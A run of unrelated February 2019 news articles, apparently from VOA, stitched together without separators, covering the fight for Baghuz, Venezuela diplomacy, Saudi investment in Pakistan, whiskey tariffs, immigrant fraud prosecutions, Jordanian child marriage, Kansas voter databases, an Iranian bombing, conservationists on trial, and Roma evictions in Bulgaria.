"The enemy is putting up a tough fight with a lot of foreign fighters with nowhere to go," coalition spokesperson Col. Sean Ryan told VOA via email Monday.

He added that the forces hope to take the area "this month," saying their progress has been slowed by the weather and SDF forces having to clear areas once they have been taken.

Located near the Iraqi border, Baghuz is the last stronghold held by IS extremists in Syria.

SDF commanders

The battle to retake Baghuz from IS militants began over the weekend as the Kurdish-led SDF advanced on IS with the help of U.S.-led coalition airstrikes.

"Today we have received orders to use heavy weaponry and mortars," Shervan Ahmo, an SDF commander, told VOA on Tuesday. "As you can see, we are at the first frontlines. Fighting continues."

According to another SDF commander, IS now controls only 2 square miles at the center of Baghuz.

"All civilians have left the town. Those who have remained in this area are [IS] terrorists and their families," SDF commander Adnan Afrin told the Kurdish news agency Hawar.

Coalition airstrikes are more effective at night, which allow SDF fighters to inch closer to the center of the town, military officials said.

Since the beginning of the Baghuz battle, at least three airstrikes reportedly have hit IS targets inside the town.Russia said on Tuesday it was ready to facilitate the start of dialogue between Venezuela's government and opposition, but warned the United States against intervening in Caracas' internal affairs.

Russia has sided with President Nicolas Maduro in his standoff with opposition leader Juan Guaido. Maduro retains control of state institutions including the military, but most Western countries, including the United States, have recognized Guaido as Venezuela's president.

"We have been maintaining very important contacts with the government of this country and stand ready to provide a kind service in order to facilitate the process of finding ways out of the situation," Tass news agency quoted Russian Deputy Foreign Minister Sergei Ryabkov.

He also said Russia had made some proposals to Venezuela on settling its crisis, but gave no details.

Moscow has invested billions of dollars into Venezuela's economy and oil production.

Opposition supporters carrying a cardboard cutout Opposition supporters carrying a cardboard cutout of Venezuelan opposition leader Juan Guaido take part in a rally against Venezuelan President Nicolas Maduro's government in Maracaibo, Venezuela, Feb. 12, 2019. Opposition supporters carrying a cardboard cutout of Venezuelan opposition leader Juan Guaido take part in a rally against Venezuelan President Nicolas Maduro's government in Maracaibo, Venezuela, Feb. 12, 2019.

On Tuesday, opposition supporters returned to the streets nationwide to keep the heat on Maduro and demand that he allow humanitarian aid into Venezuela, where food and medicine shortages are rife.

Russian Foreign Minister Sergei Lavrov told U.S. Secretary of State Mike Pompeo in a telephone call Tuesday evening that Washington should avoid any interference, including military, in Venezuela's internal affairs.

Lavrov also said Russia was ready for consultations on the situation in Venezuela in line with the United Nations charter.

Thank you for reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading.Iraq will repatriate Iraqi members of the Islamic State group held by U.S.-backed fighters in Syria as well as thousands of their family members, Prime Minister Adel Abdul-Mahdi said.

Abdul-Mahdi told reporters late Tuesday that families of those fighters will also be brought back and that tent settlements will be prepared to host them. Abdul-Mahdi's comments came after a meeting he held in Baghdad with acting U.S. Defense Secretary Patrick Shanahan.

A senior Iraqi intelligence official said up to 20,000 Iraqis, including IS fighters, their families and refugees will be brought back home by April where many of them will live in a tent settlement in western Anbar province.

Islamic State fighters sit on a pickup truck while FILE - Islamic State fighters sit on a pickup truck while being held as prisoners by fighters of the Syrian Democratic Forces near Ash Shaddadi, Hasakah province, Syria, Feb. 18, 2016. FILE - Islamic State fighters sit on a pickup truck while being held as prisoners by fighters of the Syrian Democratic Forces near Ash Shaddadi, Hasakah province, Syria, Feb. 18, 2016.

The official, who spoke to The Associated Press on condition of anonymity because he was not authorized to speak to the media, said IS members will be interrogated by Iraqi security agencies.

Abdul-Mahdi's announcement came a week after the U.S. called on other nations to repatriate and prosecute their citizens who traveled to Syria to fight with IS and who are now being held by Washington's local partners.

The Syrian Democratic Forces say they detained more than 900 foreign fighters during their U.S.-backed campaign against IS in northeastern Syria. The SDF are currently battling to drive the extremists from their last pocket of territory.

United States

The SDF has warned they may not be able to continue to hold the IS fighters after the withdrawal of American forces from Syria ordered by President Donald Trump in December.

A U.S. State Department official said last week that if the fighters can't be repatriated, though, the detention center on the U.S. base at Guantanamo Bay, Cuba, could be used to hold them "where lawful and appropriate."

A U.S. official said Guantanamo is the "option of last resort." The official, speaking on condition of anonymity, said the U.S. has identified about 50 people among the more than 900 held by Syrian forces as "high value" suspects that could be transported to Guantanamo if they are not repatriated.

Sending Islamic State prisoners to Guantanamo would open up new legal challenges, according to experts.

Europe

Last month, France's Interior Minister Christophe Castaner told French media that a handful of French jihadis had already returned home and more would follow soon after the departure of American troops. Britain refuses to take back citizens who joined IS and has reportedly stripped them of their citizenship. Other European countries have remained largely silent about the fate of men and women whom many see as a security threat.

Syria

In Syria, meanwhile, SDF fighters continued in their last push against IS in their latest offensive that began Saturday night. Their advance has been slow due to the extremists' use of mines, sniper fire, suicide attacks and a network of tunnels.

Since the latest push began on the village of Baghuz and nearby area, 19 SDF fighters and 27 IS gunmen, including eight suicide attackers, have been killed, according to the Britain-based Syrian Observatory for Human Rights.

More than 20,000 people have left the IS-held area and most of them have been moved to al-Hol camp settlement in Syria's northeastern province of Hassakeh, where human conditions are miserable and more than two dozen children have died in recent weeks.ISLAMABAD - Saudi Arabias crown prince, Mohammed bin Salman, is set to make his first state visit to Pakistan on Saturday, where he is expected to announce investment projects worth up to $20 billion, a senior official told VOA.

The unprecedented Saudi investment is being viewed by Prime Minister Imran Khans nascent government as a major boost for cash-strapped Pakistan, which is facing an economic crisis and balance of payments pressure.

It will also send a strong message to other international investors to come to Pakistan, said Haroon Sharif, who chairs Pakistans Board of Investment, (BoI) which promotes and facilitates investors.

At this stage, we are expecting serious Memorandums of Understanding [for concrete projects] between $15 billion to $20 billion worth of investments from Saudi Arabia in the area of oil refining, petrochemicals, energy sector, alternate energy and the mineral sector, Sharif told VOA. However, these number are subject to technical feasibilities, he emphasized.

The Saudi prince, often referred to as MBS, will be accompanied by a high-powered delegation, including members of the royal family, key ministers and leading businessmen. He will hold meetings with Prime Minister Khan and other top officials, as well as Pakistani military leaders.

Sharif said that the anticipated Saudi investment includes an oil refinery to be established in the southwestern coastal city of Gwadar, where China has built a seaport as part of its global Belt and Road Initiative. The proposed refinery is estimated to cost around $10 billion.

Officials say the refinery will be in place in 3-5 years and it will help meet Pakistans needs of refined oil products, which it currently imports. The surplus, they say, will be exported from Gwadar to other buyers.

Saudi investment also intends to target food and agriculture sectors in Pakistan.

Strong ties

Pakistan has traditionally maintained strong political, cultural, economic and defense ties with Saudi Arabia. The Saudi Kingdom hosts hundreds of thousands of Pakistani expatriates, and is a key source of oil supplies to Islamabad on deferred payments and cash grants to help Pakistans traditionally struggling economy.

Pakistani officials insist the Saudi intended investment has no strings attached to it such as asking Pakistan to send its troops to assist in Saudi war in Yemen.

FILE - People listen a televised speech of Pakista FILE - People listen a televised speech of Pakistani Prime Minister Imran Khan regarding his visit to Saudi Arabia, in Karachi, Pakistan, Oct. 24, 2018. FILE - People listen a televised speech of Pakistani Prime Minister Imran Khan regarding his visit to Saudi Arabia, in Karachi, Pakistan, Oct. 24, 2018.

In October, Riyadh said it would lend Pakistan $3 billion in cash and allow Islamabad to defer payments for oil imports worth $3 billion for a one-year period to support the countrys ailing economy. The money has already been deposited to the State Bank of Pakistan.

A Pakistani official said Prime Minister Khan has developed a special relationship and friendship with MBS and the two leaders have vowed to further deepen ties between the two countries.

Saudis to Give Pakistan $6 Billion Worth Cash, Defer Oil Payments Relief Saudi Arabia has agreed to lend Pakistan $3 billion in cash and allow Islamabad to defer payments for oil imports worth $3 billion for a one-year period to help the country address its looming balance of payments crisis.The Pakistani government announced the details Tuesday at the end of Prime Minister Imran Khan's official visit to Riyadh, where he met with the Saudi leadership and attended an investment conference boycotted by several other world leaders over the death of dissident Saudi journalist Saudi Arabia has agreed to lend Pakistan $3 billion in cash and allow Islamabad to defer payments for oil imports worth $3 billion for a one-year period to help the country address its looming balance of payments crisis.The Pakistani government announced the details Tuesday at the end of Prime Minister Imran Khan's official visit to Riyadh, where he met with the Saudi leadership and attended an investment conference boycotted by several other world leaders over the death of dissident Saudi journalist

Khan was among a few international leaders who participated in an investment conference Saudi Arabia hosted in October. The event was organized just days after the murder of Jamal Khashoggi, a Washington Post columnist, at the Saudi Consulate in Istanbul. Many foreign participants boycotted the conference to protest Khashoggis killing.

The United Arab Emirates, a staunch Saudi ally, has recently also offered a $6 billion package to Pakistan. Sharif noted that the UAE has also nearly finalized plans to establish an oil refinery in Pakistan with an anticipated production capacity of about 300,000 barrels. That project would require about $8 billion in investments, he added.

Chinese investment

FILE - Construction work is in progress at a new i FILE - Work in progress at a new international trade route near Havalian in Pakistan, Thursday, May 11, 2017. The work is part of a sprawling Chinese initiative to build a "new Silk Road" of ports, railways and roads to expand trade in a vast arc of countries across Asia, Africa and Europe. FILE - Work in progress at a new international trade route near Havalian in Pakistan, Thursday, May 11, 2017. The work is part of a sprawling Chinese initiative to build a "new Silk Road" of ports, railways and roads to expand trade in a vast arc of countries across Asia, Africa and Europe.

International monitors don't consider security a major barrier in the way of investment in Pakistan, noted Sharif.

People have removed the security lens and have begun to look at Pakistan from an economic diplomacy lens," he said. "This is a major shift because for the past five years only China was looking at Pakistan through the economic diplomacy lens."

Pakistans partnership in the U.S.-led war on terror after 9/11 attacks triggered a militant backlash in the South Asian nation, killing tens of thousands of people and causing losses to the tune of more than 100 billion dollars to national economy, according to official estimates.

Until now, neighboring China, a close ally of Islamabad, was the only country to invest in Pakistan, with around 20 billion dollars in energy as well as infrastructure projects over the past five years.American whiskey makers are feeling the pain after their major overseas markets imposed hefty duties on their liquor in retaliation against President Donald Trump's tariffs on aluminum imports.

U.S. global whiskey exports, which include rye and bourbons, recorded a nifty 28 percent year-over-year increase in the first six months 2018, the Distilled Spirits Council said on Tuesday.

But once levies from Canada, Mexico, China and the European Union took effect, the collective whiskey exports from 37 U.S. states fell by 8 percent in the period from July to November last year, compared with the same five months in 2017, according to the Washington-based industry trade group.

The tariff-induced drop wiped out the overseas sales gain the industry had enjoyed in the first half of 2018, the group's data showed.

"Tariffs are starting to have a negative effect on exports," Christine LoCascio, the group's senior vice president of international trade, told a press conference. "Many of the small distillers have felt the effect on day one."

FILE - A whiskey tasting station is seen at the Ja FILE - A whiskey tasting station is seen at the Jack Daniel's distillery in Lynchburg, Tennessee, May 10, 2011. FILE - A whiskey tasting station is seen at the Jack Daniel's distillery in Lynchburg, Tennessee, May 10, 2011.

In 2017, American whiskey producers exported $1.1 billion worth of their products. Nearly 60 percent was shipped to the EU, 12 percent to Canada and the rest to other countries, including China.

On the other hand, the distillers fared better at home.

In 2018, American whiskey rang up a 6.6 percent increase in revenues from a year earlier to $3.6 billion, the group's data showed.

In the wake of the EU's imposing 25 percent tariffs last June, U.S. whiskey exports fell 8.7 percent in the following five months, compared with the same period in 2017.

Canada's 10 percent duties that took effect on July 1 resulted in an 8.3 percent sales decline in that country for American whiskey producers in the July-November period compared with the same period a year earlier, the group said.Operating with virtual impunity in Los Angeles for years, con artists have long targeted immigrants desperate for expert legal advice, defrauding some of their life savings and only hastening deportations or other personal disasters.

But a fledgling fraud unit at the county district attorney's office has been targeting such scammers since 2017, prosecuting eight cases that cheated at least 300 immigrants out of $3 million, prosecutors announced Tuesday.

Before the unit was formed using money from a consumer protection settlement, District Attorney Jackie Lacey said not many such fraud cases were prosecuted in the county "because we didn't have the resources and the training."

"I think immunity is exactly how they [the fraudsters] have felt," said Ryann Jorban, one of two prosecutors at the district attorney's office assigned to the Notario Fraud Unit, named for a Spanish word used interchangeably with "attorney."

The con artists tell Spanish-speaking immigrants that they're "notarios" and can help them with their cases, collecting their money while telling them not to worry about important notices from the government.

"They'll say, 'We'll take care of everything,' so they miss appointments or they don't pay their fees," Jorban said.

Some victims have been deported as a result of the fraud, including so-called "Dreamers," young immigrants brought to the U.S. as children who've been allowed to remain.

"Unfortunately, these con artists know that not only will they give them everything they can to protect their families and themselves, but they will also be afraid to report, so there will be no repercussions," Jorban said.

Recent convictions

The Notario unit's most recent conviction, that of 49-year-old Romina Zadorian of Montebello, involved 91 victims defrauded of $667,000 between 2014 and 2017.

Prosecutors said Zadorian would claim she worked for the government or had special connections and falsely promised that she could expedite the processing of immigration documents.

She was sentenced last week to 15 years in prison after pleading guilty to grand theft, extortion and producing false government documents.

In a similar case, 53-year-old Gregory Chavez of Porter Ranch was sentenced to 15 years in jail for defrauding 102 immigrants. Two others got jail terms between five and nine years in separate cases last year involving nearly 70 victims defrauded of more than $700,000, prosecutors said.

Reporting fraud

While many such schemes involve Spanish-speaking immigrants, the Notario unit also is working on cases involving Asian immigrants.

Regardless of where they're from, immigrants without legal status need to realize they can report being victimized without worrying about being charged themselves, Lacey said.

"We take all complaints," she said. "That's the way we take these con artists out of commission, by taking them off the streets."A Jordanian lawmaker praised for her role in abolishing a law that let rapists off the hook if they married their victims has targeted child marriage as her next challenge.

Nearly 10,500 girls in Jordan were married before reaching their 18th birthdays in 2017, according to the most up-to-date figures from the U.N. children's agency UNICEF.

Girls in Jordan can be married from age 15 with a judge's approval, even though the legal marriageable age is 18. Lawmaker Wafa Bani Mustafa said that even raising it to 16 would reduce the numbers.

"This is not an exception. This is something that is happening every day, and too many young girls are getting married," the 39-year-old told the Reuters during a recent visit to Beirut.

"I am very optimistic child marriage will decrease if we change the age to 16. It doesn't matter if they are Jordanian or Syrian  we need to protect all girls."

A significant proportion are believed to be Syrian girls after an influx of refugees from Jordan's war-ravaged neighbor, with families marrying off daughters young to give them financial security and protection from sexual violence.

Hundreds of thousands of Syrians have fled their homeland since the war started in 2011, and there are now more than 670,000 registered Syrian refugees in Jordan, according to the United Nations.

"If you are not old enough to vote or drive a car  how can you open a house and build a family," said Bani Mustafa, one of 20 women in Jordan's 130-seat House of Representatives.

"We need to first change the culture by raising the age of exceptions to 16  then, slowly, maybe this will be the first step to making it to 18 with no exceptions."

In 2017, Jordan's parliament voted to abolish a law that allowed rapists to escape punishment by marrying their victims after a years-long campaign led by Bani Mustafa.

Now she is seeking a change to a section of the law governing inheritance, arguing that it disadvantages women.

Women's rights

As things stand, the children of a father who dies before his own parents will inherit the assets he would have received had he survived them, while the children of a mother who dies before her parents will not.

"If we push changing women's rights through law it will change the culture of the society to accept women's rights. The law helps change our society's mentality," she said.

Globally, 12 million girls marry before age 18 every year, according to Girls Not Brides, a coalition working to end child marriage.

In Jordan, Bani Mustafa said there were legal provisions to protect child brides  including a maximum 15-year age gap and the requirement that they be allowed to continue their education  but they were not being adhered to.

"I will keep fighting for Jordanian women  nothing will slow me down. We deserve better lives and equal rights to men. It is not easy, but we have to keep fighting," she said.

"I think women's rights are slowly changing in Jordan."TOPEKA, KANSAS - A much-criticized national database that checks if voters are registered in multiple states wasn't used last year in Kansas, the state that administers it, the official overseeing the state's elections told lawmakers.

Kansas Elections Director Bryan Caskey said his office under former Kansas Secretary of State Kris Kobach also chose not to make $20,000 in security upgrades to the Interstate Voter Registration Crosscheck Program. It didn't use the program during last year's election cycle and likely won't again this year after a Homeland Security audit discovered vulnerabilities.

Twenty-eight states exchanged 98 million registration records when Crosscheck was last used in 2017.

Kobach, a longtime champion of strict voter registration laws, was vice chairman of President Donald Trump's now-disbanded commission on election fraud. Kansas voters elected Scott Schwab, also a Republican, to replace him after Kobach ran for governor and lost to Democrat Laura Kelly.

FILE - Former Kansas Secretary of State Kris Kobac FILE - Former Kansas Secretary of State Kris Kobach answers questions from reporters in Topeka, Kansas, Nov. 30, 2018. FILE - Former Kansas Secretary of State Kris Kobach answers questions from reporters in Topeka, Kansas, Nov. 30, 2018.

Caskey told the House Elections Committee that Schwab has ordered a review of Crosscheck to determine whether to entirely abandon the program, the Topeka Capital-Journal reported.

Crosscheck compares voter registration lists among participating states to look for duplicates. The program is aimed at cleaning voter records and preventing voter fraud, but it has drawn criticism for a high error rate and lax security.

Crosscheck compares registration lists and analyzes voters' first and last names and date of birth to determine whether a person is registered in multiple states, but critics say most of the hits are false matches.

The program identified 141,250 possible duplicate voter registrations in Kansas in 2017, but it is unclear how many were purged because the system doesn't track that data, Caskey said.

"I acknowledge that, yes, there are some false positives," he said.

The American Civil Liberties Union of Kansas alleged in a lawsuit filed last year that "reckless maintenance" of the program has exposed sensitive voter information. Kobach has called that lawsuit "baseless," citing the U.S. Supreme Court last year in an Ohio case dealing with maintenance of voter rolls.

A federal judge earlier this month rejected the state's argument that the lawsuit should be dismissed because voters have no right to privacy for the information in their registration record.

U.S. District Judge Daniel Crabtree ruled he was rejecting that argument "because its basic premise is wrong."

ERIC system

Caskey told lawmakers that Kansas could use $2 million in federal funds untouched by Kobach to instead access the Electronic Registration Information Center, or ERIC as it is better known. It uses encrypted voter information along with Social Security Administration death records, driver license information and U.S. Postal Service change-of-address data.

Twenty-six states now use the ERIC system, according to its website. ERIC, based in Washington, D.C., is a nonprofit corporation governed by a board of directors made up of member states.

Voting rights activist Davis Hammet said it should be a no-brainer to switch from Crosscheck to ERIC, which was developed by the Pew Charitable Trust with data scientists.

"If we are going to try to do this to clean our rolls, everyone seems to be in agreement that this is the way to do it," Hammet said.Iran has vowed to retaliate against the perpetrators of Wednesday's terror attack on a military convoy that killed at least 27 border soldiers of the Islamic Revolutionary Guards Corps (IRGC) and wounded many others.

Bahram Ghasemi, a spokesperson for Iran's Ministry of Foreign Affairs, said in a statement following the attack that terrorist groups were capable of committing such an "inhumane act" because of the support of some countries in the region.

He didn't specify those countries, but Tehran has often accused UAE and Saudi Arabia in the past of supporting Sunni militant groups inside Iran, an accusation both countries have denied.

In what is seen as one of the deadliest attacks on IRGC personnel inside Iran in years, Wednesday's suicide attacker crashed an explosive-laden vehicle into a military bus, carrying IRGC elite members in southeastern Sistan and Baluchistan province.

The bombing injured more than 20 people. The death toll is expected to rise.

Iranian Revolutionary Guards corps is a U.S. designated terror organization.

Iranian state media have blamed Jaish al-Adl or "Army of Justice, an al-Qaida-linked Sunni extremist group for the bombing. Several social media accounts affiliated with the group also took credit for the attack.

The attack comes two days after Iran marked the 40th anniversary of its 1979 Islamic Revolution.

Sistan-Baluchustan province, Iran

Jaish al-Adl

Jaish al-Adl  known as JA  is a Sunni insurgent group in Iran's southeastern Sistan and Baluchistan province and has been fighting Iranian security forces in the region.

The restive Sistan and Baluchistan, which is home to many ethnic Sunni Baluch, is one of the most underdeveloped and poverty-stricken areas in the country. The ethnic group has complained about lack of economic opportunities and political freedoms in the province.

JA describes itself as a "political-military" movement and claims to be fighting to achieve justice for the "oppressed Sunni Baluch" people.

JA was founded in April 2012 by Abdul Rahim Mollazehi, a Baluch militant, after the Iranian regime captured and executed Abdul Malek Rigi, the former leader of the Jundullah insurgent group that claimed to be fighting for "equal rights of Sunni Muslims in Iran," in June 2010.

Jaish al-Adl operates primarily in Sistan and Baluchistan, but it also operates from bases in the neighboring Baluchistan province in Pakistan where it gets support from local Baluch tribes.

"Most militant groups in Baluchistan are based on tribal connections," Abdullah Haqyar, a former JA member, told VOA in a previous interview.

"These tribes have a tradition of helping and harboring members of allied tribes. Many tribes in Pakistani Baluchistan support their oppressed brothers in Iran," he added.

Local tribes control large swaths of Iran's Sistan and Baluchistan regions and neither Iranian nor Pakistani security forces have a permanent presence there.

The exact number of JA members is unknown, but according to some reports, it has over 500 members and followers.

FILE - A group of Iranian border guards march at t FILE - A group of Iranian border guards march at the eastern border of Iran shared with Pakistan and Afghanistan, near Zabol, Sistan-Baluchistan Province, Iran, July 19, 2011. FILE - A group of Iranian border guards march at the eastern border of Iran shared with Pakistan and Afghanistan, near Zabol, Sistan-Baluchistan Province, Iran, July 19, 2011.

Number of fighters

The number of active fighters is said to be over 100. Some of its fighters are seasonal, including some from Pakistan, who are called upon for occasional operations against Iranian security forces.

JA says it must fight the Shiite-dominated regime in Iran because it persecutes the Sunni minority.

"Since this regime only uses the language of force and humiliation, we have no other means but to fight back," JA said in a video statement in late 2012.

JA also said it opposes Iran's military involvement in Syria where elite Iranian forces and the Lebanese Shiite militia Hezbollah are supporting the government of Syrian President Bashar al-Assad in Syria's civil war.

Earlier this month, the group claimed responsibility for an attack on an IRGC base in southeastern Iran, killing one soldier and wounding five more. JA was also responsible for an attack in January that wounded three police officers in Zahedan, the capital city of Sistan and Baluchistan province.

VOA's Sirwan Kajjo contributed to this story.Iran says it has held a third session of a closed-door trial of eight Iranian conservationists who have spent a year in detention on spying-related charges that their supporters say are trumped-up.

A report by the Iranian judiciarys Mizan news agency said the defendants appeared in a Tehran court on Tuesday for the third time since the trial began last month.

The two previous sessions were held on Jan. 30 and Feb. 2. The report said an Iranian prosecutor read more of the indictment against the defendants, whose next court date would be announced later.

Details of the trial have been difficult to obtain because Iran did not allow the conservationists to bring their own lawyers into the courtroom, and the defendants relatives declined to speak to the media.

Iranian lawyer Mohamad Aghasi, who had been trying to defend one of the conservationists, Sam Rajabi, made a Sunday announcement on Twitter that he no longer formally represented Rajabi.

        : "               " .             .              .     MOHAMAD H AGHASI (@Mhaghasi1) February 10, 2019

In a first Twitter post, Aghasi said he had just received a phone call from Rajabis mother, saying Rajabi told her that Aghasi had been dismissed from the case. Aghasi then repeated his assertion that Rajabi previously had wanted only Aghasi to represent him.

In a second tweet, Aghasi said that despite no longer being Rajabis lawyer, he felt obligated to declare that Rajabi has been acquitted of espionage while still facing two other security-related charges. There was no comment on the status of Rajabis case in Iranian state media.

Iran's state-controlled Fars News Agency has referred to the defendants, who include six men and two women, as "individuals accused of spying on the country's military installations."

?Besides Rajabi, the other conservationists on trial are Niloufar Bayani, Taher Ghadirian, Houman Jowkar, Sepideh Kashani, Amir Hossein Khaleghi, Abdolreza Kouhpayeh and Morad Tahbaz.

Last month, state news agency IRNA said four of the conservationists were charged with "sowing corruption on Earth," a crime punishable by death, while three other activists were charged with "espionage," and the last one with "conspiracy against national security."

Sam Rajabi, a member of the Persian Heritage Wildl Sam Rajabi, a member of the Persian Heritage Wildlife Foundation detained by Iranian authorities in January 2018 on suspicion of spying, appears in this undated photo. Sam Rajabi, a member of the Persian Heritage Wildlife Foundation detained by Iranian authorities in January 2018 on suspicion of spying, appears in this undated photo.

?The eight defendants were detained in January 2018 along with a ninth member of the Persian Wildlife Heritage Foundation, Iranian-Canadian dual national Kavous Seyed Emami, who died in custody the following month in what authorities termed a suicide. Family members disputed that assertion and called for further investigation.

A reliable source in Iran has told VOA Persian that Iranian authorities detained a 10th member of the Iranian conservation group, Pouria Sepahvand, on Feb. 2.

In its reporting on the first two sessions of the trial, the New York-based Center for Human Rights in Iran (CHRI) said the indictment was based on forced confessions of one of the female defendants, Bayani.

CHRI quoted a source as saying Bayani interrupted the first session several times, claiming investigators extracted her confessions under mental and physical duress and that she had since retracted them.

CHRI has called on Irans judiciary to dismiss any confessions obtained under duress and to heed conclusions of several other Iranian government agencies that have said they found no evidence of espionage by the conservationists.

This article originated in VOAs Persian Service.On a cold day in January, Ivanka Angelova was at home with her daughter and four grandchildren when the village mayor arrived and advised them to leave.

Two neighbors - brothers aged 17 and 21 - were accused of beating up a local resident. The victim, a soldier, had been hospitalized.

Angelova, who like the brothers is from Bulgaria's minority Roma community, said the mayor told her that villagers were out for revenge. He was concerned her family might be attacked.

She and most of the 76-strong Roma community fled Voyvodinovo village that evening, Jan. 6, and headed 10 kilometers to Plovdiv, Bulgaria's second-largest city.

"We were spread all over the place like a broken egg," said Angelova, a widow, wiping away tears.

Bulgaria, which joined the European Union in 2007 and is its poorest member, has one of the bloc's largest Roma minorities.

As in other EU countries, many Roma live on the fringes of society and struggle for work - with those in small settlements facing legal problems when it comes to land ownership, says the Bulgarian Helsinki Committee (BHC), a human rights group.

After Angelova and her family fled, the authorities started to demolish the cluster of 17 small homes at the village's edge.

When the Thomson Reuters Foundation visited three days later, three houses had been destroyed and several others damaged.

Notices were pasted to the other homes to notify residents that theirs would be demolished too.

No Title, Few Rights

According to the 2011 census, there were 325,000 Roma people comprising about 5 percent of Bulgaria's 7.3 million people. The European Commission, however, estimates there are more than twice as many Roma - about 750,000 people.

In the week following the assault on the local resident, nationalist and far-right groups held nightly gatherings in Voyvodinovo.

And at a Jan. 8 press conference, Krasimir Karakachanov - the deputy prime minister and head of the nationalist VRMO party - referred to the incident when he said "gypsies ... have grown exceedingly insolent."

In a statement posted on its Facebook page, the BHC expressed "grave concern about multiplying cases of racist hate speech from Bulgarian government officials and frequent collective punishments for Roma communities."

The BHC said the local authorities' treatment in this case mirrored "many similar cases" of forced evictions of "illegal Roma settlements without providing adequate alternative housing, leaving those people homeless."

Election Links

Other rights groups are also concerned about how the Roma people are treated in Bulgaria.

The Equal Opportunities Initiative Association (EOIA), which works on Roma development and rights issues, said in a 2017 study that one in four Roma homes were "illegal" - lacking land title, building permits or both. It noted other researchers had put the figure far higher.

FILE - Women gather near a house during a speciali FILE - Women gather near a house during a specialized operation in a Roma neighborhood in the city of Pazadzhik, Bulgaria, Nov. 25, 2014. FILE - Women gather near a house during a specialized operation in a Roma neighborhood in the city of Pazadzhik, Bulgaria, Nov. 25, 2014.

Between 2012-2016, the EOIA said, information provided by three in every five municipalities revealed that 399 out of 444 housing demolition orders affected the sole residences of Roma families.

Daniela Mihaylova, a lawyer who co-authored the report, said in an interview that the data showed a correlation between the timing of elections and the number of demolition orders carried out - with nationalist parties using "the general anti-Roma trend in society to motivate more voters."

Such targeting of the Roma by the right-wing alliance of United Patriots were "part of a strategy of distraction" and a way to deflect attention from corruption scandals, said Ognyan Isaev, country facilitator for The Roma Education Fund, and a Roma rights activist.

Retaliation

BHC chairman Krassimir Kanev said he was shocked that residents were chased from their homes in sub-zero temperatures, and that the demolitions were hastily carried out without allowing time for residents to gather their belongings.

He said Bulgarian law required residents be given notice, time to prepare an appeal, and the right to demolish their own homes and salvage the materials.

He said the BHC had helped residents appeal the removal orders. In the meantime, the municipality was forced to stop demolishing homes until the court considers the appeal. That could take weeks, he said.

In a case brought by the BHC to the European Court of Human Rights (ECHR), the court ruled in 2012 that in seeking to evict Roma from a community in the capital Sofia, the Bulgarian authorities had violated one's "right to respect for his private and family life, his home and his correspondence."

Kanev said the ECHR recognized that "you cannot evict people on an arbitrary basis leaving them without any shelter."

In 2015, the ECHR called on the Bulgarian authorities to halt forced evictions of Roma families or provide them with alternative housing, the Open Society noted at the time.

However, they have repeatedly failed to do so, said Kanev.

Meanwhile, he added, a number of other cases brought by Roma are pending adjudication at the ECHR.

'Nowhere to Go'

Angelova said she had lived in her home since childhood.

But, said the mayor of Voyvodinovo, Dimitar Tosev - a former police chief - the land belonged to the municipality, and the Roma families had been warned they would have to move.

FILE - Bulgarian Roma man Georgi Petrov poses for FILE - Bulgarian Roma man Georgi Petrov poses for a picture in front of his house in the village of Vrachesh, Jan. 21, 2015. FILE - Bulgarian Roma man Georgi Petrov poses for a picture in front of his house in the village of Vrachesh, Jan. 21, 2015.

And, he added, villagers had demanded the municipality solve what they regarded as a long-standing problem.

"There have been a lot of issues - issues like integration," he said.

"(Villagers) wanted to see action from the municipality," he told the Thomson Reuters Foundation, adding that the Roma had been left alone until the fight sparked outrage, and he felt compelled to act.

Those whose homes had been demolished, he said, "have places to go, and they will go where they should go."

In Angelova's case, she headed to Plovdiv's Stolipinovo district, where 50,000 people inhabit densely-packed apartment blocks and small houses.

She and her family are staying at a friend's apartment that is now crowded with 18 people.

In the village, she said, she and her Roma neighbors worked on an occasional basis earning 2.50 Bulgarian levs ($1.45) an hour harvesting crops. There she had a home and a life.

"(Now) we have nowhere to go, we have no work and no money ... I don't know how I will survive," she said.WASHINGTON - The Democratic Partys 2020 presidential field continued to grow this week with the formal entry of Minnesota Senator Amy Klobuchar and Massachusetts Senator Elizabeth Warren.

But a new poll suggests good news for two men who are not yet in the race, Vermont Senator Bernie Sanders, who ran in 2016, and former Vice President Joe Biden.

The Morning Consult survey found Biden atop the Democratic field with 29 percent support, followed by Sanders at 22 percent and California Senator Kamala Harris in third place at 13 percent. That is good news for Harris, who is among several Democratic newcomers who have launched campaigns in recent days, and she has gained some traction in several recent surveys.

Klobuchars bid

Klobuchar is the latest entrant into the quickly expanding field and she hopes to gain momentum as a moderate, deal-making Democrat who can draw support from working class voters in the Midwest.

I dont have a political machine. I dont come from money. But what I do have is this: I have grit, Klobuchar said to supporters gathered in a snowstorm Sunday in Minnesota at her official launch.

Sen. Elizabeth Warren, D-Mass., speaks to local re Sen. Elizabeth Warren, D-Mass., speaks to local residents during an organizing event, Feb. 10, 2019, in Cedar Rapids, Iowa. Sen. Elizabeth Warren, D-Mass., speaks to local residents during an organizing event, Feb. 10, 2019, in Cedar Rapids, Iowa.

A day earlier, Warren made her candidacy official before a large crowd gathered in front of a mill building in Lawrence, Massachusetts, a city north of Boston.

Warren emphasized bridging the economic gap in the country between the very wealthy and Americas middle class.

This is the fight of our lives. The fight to build an America where dreams are possible and an America that works for everyone!

Another early contender who has been making the rounds in the early caucus state of Iowa is New Jersey Senator Cory Booker. He is emphasizing national unity in his pitch to Democratic voters.

I am running for president because that garment, that fabric, has been ripped and torn and we must repair it. We must stitch it together, each of us, Booker told a group of Democrats in Mason City, Iowa.

U.S. Sen. Cory Booker, D-N.J., waits as he is intr U.S. Sen. Cory Booker, D-N.J., waits as he is introduced to speak at a meet and greet with local residents at the First Congregational United Church of Christ, Feb. 8, 2019, in Mason City, Iowa. U.S. Sen. Cory Booker, D-N.J., waits as he is introduced to speak at a meet and greet with local residents at the First Congregational United Church of Christ, Feb. 8, 2019, in Mason City, Iowa.

Diverse field

The Democratic field includes several women and minority candidates and is already shaping up as one of the most varied in history, according to Brookings Institution political scholar Elaine Kamarck.

A lot of diversity in the field, which reflects what the Democratic Party is today. It is a pretty good field. You have serious people who are serious about government. I dont know who will manage to rise above the others. But so far it is a pretty solid field.

So far, nine Democrats have either officially declared their candidacy or formed a presidential exploratory committee, and several more are expected to join the field in the weeks ahead.

Liberal views

Most of the Democratic contenders hold liberal views on the economy, the environment and social issues. Many, for example, support an approach known as "Medicare for All," which would expand government health care coverage.

Others favor what is known as the "Green New Deal," an environmental program that would emphasize renewable energy sources and drastically move away from fossil fuels.

